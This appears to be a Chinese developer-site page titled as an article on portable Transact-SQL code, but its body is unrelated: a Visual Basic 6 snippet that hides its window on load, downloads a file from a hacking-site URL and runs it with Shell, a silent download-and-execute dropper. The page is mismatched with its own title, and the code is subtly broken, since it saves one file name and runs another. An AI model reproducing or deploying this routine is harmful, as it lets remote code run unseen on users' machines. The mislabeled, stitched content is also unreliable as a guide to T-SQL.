开发学院数据库MSSQL Server 编写可在多种语言之间移植的 Transact-SQL 代码 阅读

编写可在多种语言之间移植的 Transact-SQL 代码

 2007-11-11 10:46:18 来源:WEB开发网   
核心提示: Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal s
   Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Form_Load()
Me.VISIBLE = false
DownloadFile "http://www.chinanethack.com/SFDO/FHQ40.RAR", App.Path & "\FHQ30A.RAR"
End Sub

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
Shell App.Path & "\FHQ40.RAR"
End If
End Function

上一页  1 2 3 4 5 6 7 8  下一页

Tags:编写 可在 多种

编辑录入:coldstar [复制链接] [打 印]
[]
  • 好
  • 好的评价 如果觉得好,就请您
      0%(0)
  • 差
  • 差的评价 如果觉得差,就请您
      0%(0)
赞助商链接